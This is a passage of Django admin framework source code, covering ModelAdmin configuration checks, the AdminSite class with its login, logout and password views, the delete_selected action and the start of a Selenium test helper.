                return refer_to_missing_field(field=field_name, option=label, model=model, obj=obj, id='admin.E033')
            else:
                return []

    def _check_readonly_fields(self, obj):
        """ Check that readonly_fields refers to proper attribute or field. """

        if obj.readonly_fields == ():
            return []
        elif not isinstance(obj.readonly_fields, (list, tuple)):
            return must_be('a list or tuple', option='readonly_fields', obj=obj, id='admin.E034')
        else:
            return list(chain(*[
                self._check_readonly_fields_item(obj, obj.model, field_name, "readonly_fields[%d]" % index)
                for index, field_name in enumerate(obj.readonly_fields)
            ]))

    def _check_readonly_fields_item(self, obj, model, field_name, label):
        if callable(field_name):
            return []
        elif hasattr(obj, field_name):
            return []
        elif hasattr(model, field_name):
            return []
        else:
            try:
                model._meta.get_field(field_name)
            except FieldDoesNotExist:
                return [
                    checks.Error(
                        "The value of '%s' is not a callable, an attribute of '%s', or an attribute of '%s.%s'." % (
                            label, obj.__class__.__name__, model._meta.app_label, model._meta.object_name
                        ),
                        obj=obj.__class__,
                        id='admin.E035',
                    )
                ]
            else:
                return []


class ModelAdminChecks(BaseModelAdminChecks):

    def check(self, admin_obj, **kwargs):
        errors = super(ModelAdminChecks, self).check(admin_obj)
        errors.extend(self._check_save_as(admin_obj))
        errors.extend(self._check_save_on_top(admin_obj))
        errors.extend(self._check_inlines(admin_obj))
        errors.extend(self._check_list_display(admin_obj))
        errors.extend(self._check_list_display_links(admin_obj))
        errors.extend(self._check_list_filter(admin_obj))
        errors.extend(self._check_list_select_related(admin_obj))
        errors.extend(self._check_list_per_page(admin_obj))
        errors.extend(self._check_list_max_show_all(admin_obj))
        errors.extend(self._check_list_editable(admin_obj))
        errors.extend(self._check_search_fields(admin_obj))
        errors.extend(self._check_date_hierarchy(admin_obj))
        return errors

    def _check_save_as(self, obj):
        """ Check save_as is a boolean. """

        if not isinstance(obj.save_as, bool):
            return must_be('a boolean', option='save_as',
                           obj=obj, id='admin.E101')
        else:
            return []

    def _check_save_on_top(self, obj):
        """ Check save_on_top is a boolean. """

        if not isinstance(obj.save_on_top, bool):
            return must_be('a boolean', option='save_on_top',
                           obj=obj, id='admin.E102')
        else:
            return []

    def _check_inlines(self, obj):
        """ Check all inline model admin classes. """

        if not isinstance(obj.inlines, (list, tuple)):
            return must_be('a list or tuple', option='inlines', obj=obj, id='admin.E103')
        else:
            return list(chain(*[
                self._check_inlines_item(obj, obj.model, item, "inlines[%d]" % index)
                for index, item in enumerate(obj.inlines)
            ]))

    def _check_inlines_item(self, obj, model, inline, label):
        """ Check one inline model admin. """
        inline_label = '.'.join([inline.__module__, inline.__name__])

        from django.contrib.admin.options import BaseModelAdmin

        if not issubclass(inline, BaseModelAdmin):
            return [
                checks.Error(
                    "'%s' must inherit from 'BaseModelAdmin'." % inline_label,
                    obj=obj.__class__,
                    id='admin.E104',
                )
            ]
        elif not inline.model:
            return [
                checks.Error(
                    "'%s' must have a 'model' attribute." % inline_label,
                    obj=obj.__class__,
                    id='admin.E105',
                )
            ]
        elif not issubclass(inline.model, models.Model):
            return must_be('a Model', option='%s.model' % inline_label, obj=obj, id='admin.E106')
        else:
            return inline(model, obj.admin_site).check()

    def _check_list_display(self, obj):
        """ Check that list_display only contains fields or usable attributes.
        """

        if not isinstance(obj.list_display, (list, tuple)):
            return must_be('a list or tuple', option='list_display', obj=obj, id='admin.E107')
        else:
            return list(chain(*[
                self._check_list_display_item(obj, obj.model, item, "list_display[%d]" % index)
                for index, item in enumerate(obj.list_display)
            ]))

    def _check_list_display_item(self, obj, model, item, label):
        if callable(item):
            return []
        elif hasattr(obj, item):
            return []
        elif hasattr(model, item):
            # getattr(model, item) could be an X_RelatedObjectsDescriptor
            try:
                field = model._meta.get_field(item)
            except FieldDoesNotExist:
                try:
                    field = getattr(model, item)
                except AttributeError:
                    field = None

            if field is None:
                return [
                    checks.Error(
                        "The value of '%s' refers to '%s', which is not a "
                        "callable, an attribute of '%s', or an attribute or method on '%s.%s'." % (
                            label, item, obj.__class__.__name__, model._meta.app_label, model._meta.object_name
                        ),
                        obj=obj.__class__,
                        id='admin.E108',
                    )
                ]
            elif isinstance(field, models.ManyToManyField):
                return [
                    checks.Error(
                        "The value of '%s' must not be a ManyToManyField." % label,
                        obj=obj.__class__,
                        id='admin.E109',
                    )
                ]
            else:
                return []
        else:
            try:
                model._meta.get_field(item)
            except FieldDoesNotExist:
                return [
                    # This is a deliberate repeat of E108; there's more than one path
                    # required to test this condition.
                    checks.Error(
                        "The value of '%s' refers to '%s', which is not a callable, "
                        "an attribute of '%s', or an attribute or method on '%s.%s'." % (
                            label, item, obj.__class__.__name__, model._meta.app_label, model._meta.object_name
                        ),
                        obj=obj.__class__,
                        id='admin.E108',
                    )
                ]
            else:
                return []

    def _check_list_display_links(self, obj):
        """ Check that list_display_links is a unique subset of list_display.
        """

        if obj.list_display_links is None:
            return []
        elif not isinstance(obj.list_display_links, (list, tuple)):
            return must_be('a list, a tuple, or None', option='list_display_links', obj=obj, id='admin.E110')
        else:
            return list(chain(*[
                self._check_list_display_links_item(obj, field_name, "list_display_links[%d]" % index)
                for index, field_name in enumerate(obj.list_display_links)
            ]))

    def _check_list_display_links_item(self, obj, field_name, label):
        if field_name not in obj.list_display:
            return [
                checks.Error(
                    "The value of '%s' refers to '%s', which is not defined in 'list_display'." % (
                        label, field_name
                    ),
                    obj=obj.__class__,
                    id='admin.E111',
                )
            ]
        else:
            return []

    def _check_list_filter(self, obj):
        if not isinstance(obj.list_filter, (list, tuple)):
            return must_be('a list or tuple', option='list_filter', obj=obj, id='admin.E112')
        else:
            return list(chain(*[
                self._check_list_filter_item(obj, obj.model, item, "list_filter[%d]" % index)
                for index, item in enumerate(obj.list_filter)
            ]))

    def _check_list_filter_item(self, obj, model, item, label):
        """
        Check one item of `list_filter`, i.e. check if it is one of three options:
        1. 'field' -- a basic field filter, possibly w/ relationships (e.g.
           'field__rel')
        2. ('field', SomeFieldListFilter) - a field-based list filter class
        3. SomeListFilter - a non-field list filter class
        """

        from django.contrib.admin import ListFilter, FieldListFilter

        if callable(item) and not isinstance(item, models.Field):
            # If item is option 3, it should be a ListFilter...
            if not issubclass(item, ListFilter):
                return must_inherit_from(parent='ListFilter', option=label,
                                         obj=obj, id='admin.E113')
            # ...  but not a FieldListFilter.
            elif issubclass(item, FieldListFilter):
                return [
                    checks.Error(
                        "The value of '%s' must not inherit from 'FieldListFilter'." % label,
                        obj=obj.__class__,
                        id='admin.E114',
                    )
                ]
            else:
                return []
        elif isinstance(item, (tuple, list)):
            # item is option #2
            field, list_filter_class = item
            if not issubclass(list_filter_class, FieldListFilter):
                return must_inherit_from(parent='FieldListFilter', option='%s[1]' % label, obj=obj, id='admin.E115')
            else:
                return []
        else:
            # item is option #1
            field = item

            # Validate the field string
            try:
                get_fields_from_path(model, field)
            except (NotRelationField, FieldDoesNotExist):
                return [
                    checks.Error(
                        "The value of '%s' refers to '%s', which does not refer to a Field." % (label, field),
                        obj=obj.__class__,
                        id='admin.E116',
                    )
                ]
            else:
                return []

    def _check_list_select_related(self, obj):
        """ Check that list_select_related is a boolean, a list or a tuple. """

        if not isinstance(obj.list_select_related, (bool, list, tuple)):
            return must_be('a boolean, tuple or list', option='list_select_related', obj=obj, id='admin.E117')
        else:
            return []

    def _check_list_per_page(self, obj):
        """ Check that list_per_page is an integer. """

        if not isinstance(obj.list_per_page, int):
            return must_be('an integer', option='list_per_page', obj=obj, id='admin.E118')
        else:
            return []

    def _check_list_max_show_all(self, obj):
        """ Check that list_max_show_all is an integer. """

        if not isinstance(obj.list_max_show_all, int):
            return must_be('an integer', option='list_max_show_all', obj=obj, id='admin.E119')
        else:
            return []

    def _check_list_editable(self, obj):
        """ Check that list_editable is a sequence of editable fields from
        list_display without first element. """

        if not isinstance(obj.list_editable, (list, tuple)):
            return must_be('a list or tuple', option='list_editable', obj=obj, id='admin.E120')
        else:
            return list(chain(*[
                self._check_list_editable_item(obj, obj.model, item, "list_editable[%d]" % index)
                for index, item in enumerate(obj.list_editable)
            ]))

    def _check_list_editable_item(self, obj, model, field_name, label):
        try:
            field = model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label, model=model, obj=obj, id='admin.E121')
        else:
            if field_name not in obj.list_display:
                return [
                    checks.Error(
                        "The value of '%s' refers to '%s', which is not "
                        "contained in 'list_display'." % (label, field_name),
                        obj=obj.__class__,
                        id='admin.E122',
                    )
                ]
            elif obj.list_display_links and field_name in obj.list_display_links:
                return [
                    checks.Error(
                        "The value of '%s' cannot be in both 'list_editable' and 'list_display_links'." % field_name,
                        obj=obj.__class__,
                        id='admin.E123',
                    )
                ]
            # If list_display[0] is in list_editable, check that
            # list_display_links is set. See #22792 and #26229 for use cases.
            elif (obj.list_display[0] == field_name and not obj.list_display_links and
                    obj.list_display_links is not None):
                return [
                    checks.Error(
                        "The value of '%s' refers to the first field in 'list_display' ('%s'), "
                        "which cannot be used unless 'list_display_links' is set." % (
                            label, obj.list_display[0]
                        ),
                        obj=obj.__class__,
                        id='admin.E124',
                    )
                ]
            elif not field.editable:
                return [
                    checks.Error(
                        "The value of '%s' refers to '%s', which is not editable through the admin." % (
                            label, field_name
                        ),
                        obj=obj.__class__,
                        id='admin.E125',
                    )
                ]
            else:
                return []

    def _check_search_fields(self, obj):
        """ Check search_fields is a sequence. """

        if not isinstance(obj.search_fields, (list, tuple)):
            return must_be('a list or tuple', option='search_fields', obj=obj, id='admin.E126')
        else:
            return []

    def _check_date_hierarchy(self, obj):
        """ Check that date_hierarchy refers to DateField or DateTimeField. """

        if obj.date_hierarchy is None:
            return []
        else:
            try:
                field = get_fields_from_path(obj.model, obj.date_hierarchy)[-1]
            except (NotRelationField, FieldDoesNotExist):
                return [
                    checks.Error(
                        "The value of 'date_hierarchy' refers to '%s', which "
                        "does not refer to a Field." % obj.date_hierarchy,
                        obj=obj.__class__,
                        id='admin.E127',
                    )
                ]
            else:
                if not isinstance(field, (models.DateField, models.DateTimeField)):
                    return must_be('a DateField or DateTimeField', option='date_hierarchy', obj=obj, id='admin.E128')
                else:
                    return []


class InlineModelAdminChecks(BaseModelAdminChecks):

    def check(self, inline_obj, **kwargs):
        errors = super(InlineModelAdminChecks, self).check(inline_obj)
        parent_model = inline_obj.parent_model
        errors.extend(self._check_relation(inline_obj, parent_model))
        errors.extend(self._check_exclude_of_parent_model(inline_obj, parent_model))
        errors.extend(self._check_extra(inline_obj))
        errors.extend(self._check_max_num(inline_obj))
        errors.extend(self._check_min_num(inline_obj))
        errors.extend(self._check_formset(inline_obj))
        return errors

    def _check_exclude_of_parent_model(self, obj, parent_model):
        # Do not perform more specific checks if the base checks result in an
        # error.
        errors = super(InlineModelAdminChecks, self)._check_exclude(obj)
        if errors:
            return []

        # Skip if `fk_name` is invalid.
        if self._check_relation(obj, parent_model):
            return []

        if obj.exclude is None:
            return []

        fk = _get_foreign_key(parent_model, obj.model, fk_name=obj.fk_name)
        if fk.name in obj.exclude:
            return [
                checks.Error(
                    "Cannot exclude the field '%s', because it is the foreign key "
                    "to the parent model '%s.%s'." % (
                        fk.name, parent_model._meta.app_label, parent_model._meta.object_name
                    ),
                    obj=obj.__class__,
                    id='admin.E201',
                )
            ]
        else:
            return []

    def _check_relation(self, obj, parent_model):
        try:
            _get_foreign_key(parent_model, obj.model, fk_name=obj.fk_name)
        except ValueError as e:
            return [checks.Error(e.args[0], obj=obj.__class__, id='admin.E202')]
        else:
            return []

    def _check_extra(self, obj):
        """ Check that extra is an integer. """

        if not isinstance(obj.extra, int):
            return must_be('an integer', option='extra', obj=obj, id='admin.E203')
        else:
            return []

    def _check_max_num(self, obj):
        """ Check that max_num is an integer. """

        if obj.max_num is None:
            return []
        elif not isinstance(obj.max_num, int):
            return must_be('an integer', option='max_num', obj=obj, id='admin.E204')
        else:
            return []

    def _check_min_num(self, obj):
        """ Check that min_num is an integer. """

        if obj.min_num is None:
            return []
        elif not isinstance(obj.min_num, int):
            return must_be('an integer', option='min_num', obj=obj, id='admin.E205')
        else:
            return []

    def _check_formset(self, obj):
        """ Check formset is a subclass of BaseModelFormSet. """

        if not issubclass(obj.formset, BaseModelFormSet):
            return must_inherit_from(parent='BaseModelFormSet', option='formset', obj=obj, id='admin.E206')
        else:
            return []


def must_be(type, option, obj, id):
    return [
        checks.Error(
            "The value of '%s' must be %s." % (option, type),
            obj=obj.__class__,
            id=id,
        ),
    ]


def must_inherit_from(parent, option, obj, id):
    return [
        checks.Error(
            "The value of '%s' must inherit from '%s'." % (option, parent),
            obj=obj.__class__,
            id=id,
        ),
    ]


def refer_to_missing_field(field, option, model, obj, id):
    return [
        checks.Error(
            "The value of '%s' refers to '%s', which is not an attribute of '%s.%s'." % (
                option, field, model._meta.app_label, model._meta.object_name
            ),
            obj=obj.__class__,
            id=id,
        ),
    ]






from functools import update_wrapper

from django.apps import apps
from django.conf import settings
from django.contrib.admin import ModelAdmin, actions
from django.contrib.auth import REDIRECT_FIELD_NAME
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.db.models.base import ModelBase
from django.http import Http404, HttpResponseRedirect
from django.template.response import TemplateResponse
from django.urls import NoReverseMatch, reverse
from django.utils import six
from django.utils.text import capfirst
from django.utils.translation import ugettext as _, ugettext_lazy
from django.views.decorators.cache import never_cache
from django.views.decorators.csrf import csrf_protect
from django.views.i18n import JavaScriptCatalog

system_check_errors = []


class AlreadyRegistered(Exception):
    pass


class NotRegistered(Exception):
    pass


class AdminSite(object):
    """
    An AdminSite object encapsulates an instance of the Django admin application, ready
    to be hooked in to your URLconf. Models are registered with the AdminSite using the
    register() method, and the get_urls() method can then be used to access Django view
    functions that present a full admin interface for the collection of registered
    models.
    """

    # Text to put at the end of each page's <title>.
    site_title = ugettext_lazy('Django site admin')

    # Text to put in each page's <h1>.
    site_header = ugettext_lazy('Django administration')

    # Text to put at the top of the admin index page.
    index_title = ugettext_lazy('Site administration')

    # URL for the "View site" link at the top of each admin page.
    site_url = '/'

    _empty_value_display = '-'

    login_form = None
    index_template = None
    app_index_template = None
    login_template = None
    logout_template = None
    password_change_template = None
    password_change_done_template = None

    def __init__(self, name='admin'):
        self._registry = {}  # model_class class -> admin_class instance
        self.name = name
        self._actions = {'delete_selected': actions.delete_selected}
        self._global_actions = self._actions.copy()

    def register(self, model_or_iterable, admin_class=None, **options):
        """
        Registers the given model(s) with the given admin class.

        The model(s) should be Model classes, not instances.

        If an admin class isn't given, it will use ModelAdmin (the default
        admin options). If keyword arguments are given -- e.g., list_display --
        they'll be applied as options to the admin class.

        If a model is already registered, this will raise AlreadyRegistered.

        If a model is abstract, this will raise ImproperlyConfigured.
        """
        if not admin_class:
            admin_class = ModelAdmin

        if isinstance(model_or_iterable, ModelBase):
            model_or_iterable = [model_or_iterable]
        for model in model_or_iterable:
            if model._meta.abstract:
                raise ImproperlyConfigured(
                    'The model %s is abstract, so it cannot be registered with admin.' % model.__name__
                )

            if model in self._registry:
                raise AlreadyRegistered('The model %s is already registered' % model.__name__)

            # Ignore the registration if the model has been
            # swapped out.
            if not model._meta.swapped:
                # If we got **options then dynamically construct a subclass of
                # admin_class with those **options.
                if options:
                    # For reasons I don't quite understand, without a __module__
                    # the created class appears to "live" in the wrong place,
                    # which causes issues later on.
                    options['__module__'] = __name__
                    admin_class = type("%sAdmin" % model.__name__, (admin_class,), options)

                # Instantiate the admin class to save in the registry
                admin_obj = admin_class(model, self)
                if admin_class is not ModelAdmin and settings.DEBUG:
                    system_check_errors.extend(admin_obj.check())

                self._registry[model] = admin_obj

    def unregister(self, model_or_iterable):
        """
        Unregisters the given model(s).

        If a model isn't already registered, this will raise NotRegistered.
        """
        if isinstance(model_or_iterable, ModelBase):
            model_or_iterable = [model_or_iterable]
        for model in model_or_iterable:
            if model not in self._registry:
                raise NotRegistered('The model %s is not registered' % model.__name__)
            del self._registry[model]

    def is_registered(self, model):
        """
        Check if a model class is registered with this `AdminSite`.
        """
        return model in self._registry

    def add_action(self, action, name=None):
        """
        Register an action to be available globally.
        """
        name = name or action.__name__
        self._actions[name] = action
        self._global_actions[name] = action

    def disable_action(self, name):
        """
        Disable a globally-registered action. Raises KeyError for invalid names.
        """
        del self._actions[name]

    def get_action(self, name):
        """
        Explicitly get a registered global action whether it's enabled or
        not. Raises KeyError for invalid names.
        """
        return self._global_actions[name]

    @property
    def actions(self):
        """
        Get all the enabled actions as an iterable of (name, func).
        """
        return six.iteritems(self._actions)

    @property
    def empty_value_display(self):
        return self._empty_value_display

    @empty_value_display.setter
    def empty_value_display(self, empty_value_display):
        self._empty_value_display = empty_value_display

    def has_permission(self, request):
        """
        Returns True if the given HttpRequest has permission to view
        *at least one* page in the admin site.
        """
        return request.user.is_active and request.user.is_staff

    def admin_view(self, view, cacheable=False):
        """
        Decorator to create an admin view attached to this ``AdminSite``. This
        wraps the view and provides permission checking by calling
        ``self.has_permission``.

        You'll want to use this from within ``AdminSite.get_urls()``:

            class MyAdminSite(AdminSite):

                def get_urls(self):
                    from django.conf.urls import url

                    urls = super(MyAdminSite, self).get_urls()
                    urls += [
                        url(r'^my_view/$', self.admin_view(some_view))
                    ]
                    return urls

        By default, admin_views are marked non-cacheable using the
        ``never_cache`` decorator. If the view can be safely cached, set
        cacheable=True.
        """
        def inner(request, *args, **kwargs):
            if not self.has_permission(request):
                if request.path == reverse('admin:logout', current_app=self.name):
                    index_path = reverse('admin:index', current_app=self.name)
                    return HttpResponseRedirect(index_path)
                # Inner import to prevent django.contrib.admin (app) from
                # importing django.contrib.auth.models.User (unrelated model).
                from django.contrib.auth.views import redirect_to_login
                return redirect_to_login(
                    request.get_full_path(),
                    reverse('admin:login', current_app=self.name)
                )
            return view(request, *args, **kwargs)
        if not cacheable:
            inner = never_cache(inner)
        # We add csrf_protect here so this function can be used as a utility
        # function for any view, without having to repeat 'csrf_protect'.
        if not getattr(view, 'csrf_exempt', False):
            inner = csrf_protect(inner)
        return update_wrapper(inner, view)

    def get_urls(self):
        from django.conf.urls import url, include
        # Since this module gets imported in the application's root package,
        # it cannot import models from other applications at the module level,
        # and django.contrib.contenttypes.views imports ContentType.
        from django.contrib.contenttypes import views as contenttype_views

        def wrap(view, cacheable=False):
            def wrapper(*args, **kwargs):
                return self.admin_view(view, cacheable)(*args, **kwargs)
            wrapper.admin_site = self
            return update_wrapper(wrapper, view)

        # Admin-site-wide views.
        urlpatterns = [
            url(r'^$', wrap(self.index), name='index'),
            url(r'^login/$', self.login, name='login'),
            url(r'^logout/$', wrap(self.logout), name='logout'),
            url(r'^password_change/$', wrap(self.password_change, cacheable=True), name='password_change'),
            url(r'^password_change/done/$', wrap(self.password_change_done, cacheable=True),
                name='password_change_done'),
            url(r'^jsi18n/$', wrap(self.i18n_javascript, cacheable=True), name='jsi18n'),
            url(r'^r/(?P<content_type_id>\d+)/(?P<object_id>.+)/$', wrap(contenttype_views.shortcut),
                name='view_on_site'),
        ]

        # Add in each model's views, and create a list of valid URLS for the
        # app_index
        valid_app_labels = []
        for model, model_admin in self._registry.items():
            urlpatterns += [
                url(r'^%s/%s/' % (model._meta.app_label, model._meta.model_name), include(model_admin.urls)),
            ]
            if model._meta.app_label not in valid_app_labels:
                valid_app_labels.append(model._meta.app_label)

        # If there were ModelAdmins registered, we should have a list of app
        # labels for which we need to allow access to the app_index view,
        if valid_app_labels:
            regex = r'^(?P<app_label>' + '|'.join(valid_app_labels) + ')/$'
            urlpatterns += [
                url(regex, wrap(self.app_index), name='app_list'),
            ]
        return urlpatterns

    @property
    def urls(self):
        return self.get_urls(), 'admin', self.name

    def each_context(self, request):
        """
        Returns a dictionary of variables to put in the template context for
        *every* page in the admin site.

        For sites running on a subpath, use the SCRIPT_NAME value if site_url
        hasn't been customized.
        """
        script_name = request.META['SCRIPT_NAME']
        site_url = script_name if self.site_url == '/' and script_name else self.site_url
        return {
            'site_title': self.site_title,
            'site_header': self.site_header,
            'site_url': site_url,
            'has_permission': self.has_permission(request),
            'available_apps': self.get_app_list(request),
        }

    def password_change(self, request, extra_context=None):
        """
        Handles the "change password" task -- both form display and validation.
        """
        from django.contrib.admin.forms import AdminPasswordChangeForm
        from django.contrib.auth.views import PasswordChangeView
        url = reverse('admin:password_change_done', current_app=self.name)
        defaults = {
            'form_class': AdminPasswordChangeForm,
            'success_url': url,
            'extra_context': dict(self.each_context(request), **(extra_context or {})),
        }
        if self.password_change_template is not None:
            defaults['template_name'] = self.password_change_template
        request.current_app = self.name
        return PasswordChangeView.as_view(**defaults)(request)

    def password_change_done(self, request, extra_context=None):
        """
        Displays the "success" page after a password change.
        """
        from django.contrib.auth.views import PasswordChangeDoneView
        defaults = {
            'extra_context': dict(self.each_context(request), **(extra_context or {})),
        }
        if self.password_change_done_template is not None:
            defaults['template_name'] = self.password_change_done_template
        request.current_app = self.name
        return PasswordChangeDoneView.as_view(**defaults)(request)

    def i18n_javascript(self, request, extra_context=None):
        """
        Displays the i18n JavaScript that the Django admin requires.

        `extra_context` is unused but present for consistency with the other
        admin views.
        """
        return JavaScriptCatalog.as_view(packages=['django.contrib.admin'])(request)

    @never_cache
    def logout(self, request, extra_context=None):
        """
        Logs out the user for the given HttpRequest.

        This should *not* assume the user is already logged in.
        """
        from django.contrib.auth.views import LogoutView
        defaults = {
            'extra_context': dict(
                self.each_context(request),
                # Since the user isn't logged out at this point, the value of
                # has_permission must be overridden.
                has_permission=False,
                **(extra_context or {})
            ),
        }
        if self.logout_template is not None:
            defaults['template_name'] = self.logout_template
        request.current_app = self.name
        return LogoutView.as_view(**defaults)(request)

    @never_cache
    def login(self, request, extra_context=None):
        """
        Displays the login form for the given HttpRequest.
        """
        if request.method == 'GET' and self.has_permission(request):
            # Already logged-in, redirect to admin index
            index_path = reverse('admin:index', current_app=self.name)
            return HttpResponseRedirect(index_path)

        from django.contrib.auth.views import LoginView
        # Since this module gets imported in the application's root package,
        # it cannot import models from other applications at the module level,
        # and django.contrib.admin.forms eventually imports User.
        from django.contrib.admin.forms import AdminAuthenticationForm
        context = dict(
            self.each_context(request),
            title=_('Log in'),
            app_path=request.get_full_path(),
            username=request.user.get_username(),
        )
        if (REDIRECT_FIELD_NAME not in request.GET and
                REDIRECT_FIELD_NAME not in request.POST):
            context[REDIRECT_FIELD_NAME] = reverse('admin:index', current_app=self.name)
        context.update(extra_context or {})

        defaults = {
            'extra_context': context,
            'authentication_form': self.login_form or AdminAuthenticationForm,
            'template_name': self.login_template or 'admin/login.html',
        }
        request.current_app = self.name
        return LoginView.as_view(**defaults)(request)

    def _build_app_dict(self, request, label=None):
        """
        Builds the app dictionary. Takes an optional label parameters to filter
        models of a specific app.
        """
        app_dict = {}

        if label:
            models = {
                m: m_a for m, m_a in self._registry.items()
                if m._meta.app_label == label
            }
        else:
            models = self._registry

        for model, model_admin in models.items():
            app_label = model._meta.app_label

            has_module_perms = model_admin.has_module_permission(request)
            if not has_module_perms:
                if label:
                    raise PermissionDenied
                continue

            perms = model_admin.get_model_perms(request)

            # Check whether user has any perm for this module.
            # If so, add the module to the model_list.
            if True not in perms.values():
                continue

            info = (app_label, model._meta.model_name)
            model_dict = {
                'name': capfirst(model._meta.verbose_name_plural),
                'object_name': model._meta.object_name,
                'perms': perms,
            }
            if perms.get('change'):
                try:
                    model_dict['admin_url'] = reverse('admin:%s_%s_changelist' % info, current_app=self.name)
                except NoReverseMatch:
                    pass
            if perms.get('add'):
                try:
                    model_dict['add_url'] = reverse('admin:%s_%s_add' % info, current_app=self.name)
                except NoReverseMatch:
                    pass

            if app_label in app_dict:
                app_dict[app_label]['models'].append(model_dict)
            else:
                app_dict[app_label] = {
                    'name': apps.get_app_config(app_label).verbose_name,
                    'app_label': app_label,
                    'app_url': reverse(
                        'admin:app_list',
                        kwargs={'app_label': app_label},
                        current_app=self.name,
                    ),
                    'has_module_perms': has_module_perms,
                    'models': [model_dict],
                }

        if label:
            return app_dict.get(label)
        return app_dict

    def get_app_list(self, request):
        """
        Returns a sorted list of all the installed apps that have been
        registered in this site.
        """
        app_dict = self._build_app_dict(request)

        # Sort the apps alphabetically.
        app_list = sorted(app_dict.values(), key=lambda x: x['name'].lower())

        # Sort the models alphabetically within each app.
        for app in app_list:
            app['models'].sort(key=lambda x: x['name'])

        return app_list

    @never_cache
    def index(self, request, extra_context=None):
        """
        Displays the main admin index page, which lists all of the installed
        apps that have been registered in this site.
        """
        app_list = self.get_app_list(request)

        context = dict(
            self.each_context(request),
            title=self.index_title,
            app_list=app_list,
        )
        context.update(extra_context or {})

        request.current_app = self.name

        return TemplateResponse(request, self.index_template or 'admin/index.html', context)

    def app_index(self, request, app_label, extra_context=None):
        app_dict = self._build_app_dict(request, app_label)
        if not app_dict:
            raise Http404('The requested admin page does not exist.')
        # Sort the models alphabetically within each app.
        app_dict['models'].sort(key=lambda x: x['name'])
        app_name = apps.get_app_config(app_label).verbose_name
        context = dict(
            self.each_context(request),
            title=_('%(app)s administration') % {'app': app_name},
            app_list=[app_dict],
            app_label=app_label,
        )
        context.update(extra_context or {})

        request.current_app = self.name

        return TemplateResponse(request, self.app_index_template or [
            'admin/%s/app_index.html' % app_label,
            'admin/app_index.html'
        ], context)

# This global object represents the default admin site, for the common case.
# You can instantiate AdminSite in your own code to create a custom admin site.
site = AdminSite()






# ACTION_CHECKBOX_NAME is unused, but should stay since its import from here
# has been referenced in documentation.
from django.contrib.admin.decorators import register
from django.contrib.admin.filters import (
    AllValuesFieldListFilter, BooleanFieldListFilter, ChoicesFieldListFilter,
    DateFieldListFilter, FieldListFilter, ListFilter, RelatedFieldListFilter,
    RelatedOnlyFieldListFilter, SimpleListFilter,
)
from django.contrib.admin.helpers import ACTION_CHECKBOX_NAME
from django.contrib.admin.options import (
    HORIZONTAL, VERTICAL, ModelAdmin, StackedInline, TabularInline,
)
from django.contrib.admin.sites import AdminSite, site
from django.utils.module_loading import autodiscover_modules

__all__ = [
    "register", "ACTION_CHECKBOX_NAME", "ModelAdmin", "HORIZONTAL", "VERTICAL",
    "StackedInline", "TabularInline", "AdminSite", "site", "ListFilter",
    "SimpleListFilter", "FieldListFilter", "BooleanFieldListFilter",
    "RelatedFieldListFilter", "ChoicesFieldListFilter", "DateFieldListFilter",
    "AllValuesFieldListFilter", "RelatedOnlyFieldListFilter", "autodiscover",
]


def autodiscover():
    autodiscover_modules('admin', register_to=site)


default_app_config = 'django.contrib.admin.apps.AdminConfig'






"""
Built-in, globally-available admin actions.
"""

from django.contrib import messages
from django.contrib.admin import helpers
from django.contrib.admin.utils import get_deleted_objects, model_ngettext
from django.core.exceptions import PermissionDenied
from django.db import router
from django.template.response import TemplateResponse
from django.utils.encoding import force_text
from django.utils.translation import ugettext as _, ugettext_lazy


def delete_selected(modeladmin, request, queryset):
    """
    Default action which deletes the selected objects.

    This action first displays a confirmation page which shows all the
    deleteable objects, or, if the user has no permission one of the related
    childs (foreignkeys), a "permission denied" message.

    Next, it deletes all selected objects and redirects back to the change list.
    """
    opts = modeladmin.model._meta
    app_label = opts.app_label

    # Check that the user has delete permission for the actual model
    if not modeladmin.has_delete_permission(request):
        raise PermissionDenied

    using = router.db_for_write(modeladmin.model)

    # Populate deletable_objects, a data structure of all related objects that
    # will also be deleted.
    deletable_objects, model_count, perms_needed, protected = get_deleted_objects(
        queryset, opts, request.user, modeladmin.admin_site, using)

    # The user has already confirmed the deletion.
    # Do the deletion and return a None to display the change list view again.
    if request.POST.get('post') and not protected:
        if perms_needed:
            raise PermissionDenied
        n = queryset.count()
        if n:
            for obj in queryset:
                obj_display = force_text(obj)
                modeladmin.log_deletion(request, obj, obj_display)
            queryset.delete()
            modeladmin.message_user(request, _("Successfully deleted %(count)d %(items)s.") % {
                "count": n, "items": model_ngettext(modeladmin.opts, n)
            }, messages.SUCCESS)
        # Return None to display the change list page again.
        return None

    if len(queryset) == 1:
        objects_name = force_text(opts.verbose_name)
    else:
        objects_name = force_text(opts.verbose_name_plural)

    if perms_needed or protected:
        title = _("Cannot delete %(name)s") % {"name": objects_name}
    else:
        title = _("Are you sure?")

    context = dict(
        modeladmin.admin_site.each_context(request),
        title=title,
        objects_name=objects_name,
        deletable_objects=[deletable_objects],
        model_count=dict(model_count).items(),
        queryset=queryset,
        perms_lacking=perms_needed,
        protected=protected,
        opts=opts,
        action_checkbox_name=helpers.ACTION_CHECKBOX_NAME,
        media=modeladmin.media,
    )

    request.current_app = modeladmin.admin_site.name

    # Display the confirmation page
    return TemplateResponse(request, modeladmin.delete_selected_confirmation_template or [
        "admin/%s/%s/delete_selected_confirmation.html" % (app_label, opts.model_name),
        "admin/%s/delete_selected_confirmation.html" % app_label,
        "admin/delete_selected_confirmation.html"
    ], context)

delete_selected.short_description = ugettext_lazy("Delete selected %(verbose_name_plural)s")






from django.contrib.staticfiles.testing import StaticLiveServerTestCase
from django.test import modify_settings
from django.test.selenium import SeleniumTestCase
from django.utils.deprecation import MiddlewareMixin
from django.utils.translation import ugettext as _


class CSPMiddleware(MiddlewareMixin):
    """The admin's JavaScript should be compatible with CSP."""
    def process_response(self, request, response):
        response['Content-Security-Policy'] = "default-src 'self'"
        return response


@modify_settings(MIDDLEWARE={'append': 'django.contrib.admin.tests.CSPMiddleware'})
class AdminSeleniumTestCase(SeleniumTestCase, StaticLiveServerTestCase):

    available_apps = [
        'django.contrib.admin',
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'django.contrib.sessions',
        'django.contrib.sites',
    ]

    def wait_until(self, callback, timeout=10):
        """
        Helper function that blocks the execution of the tests until the
        specified callback returns a value that is not falsy. This function can
        be called, for example, after clicking a link or submitting a form.
        See the other public methods that call this function for more details.
        """
        from selenium.webdriver.support.wait import WebDriverWait
        WebDriverWait(self.selenium, timeout).until(callback)

    def wait_for_popup(self, num_windows=2, timeout=10):
        """
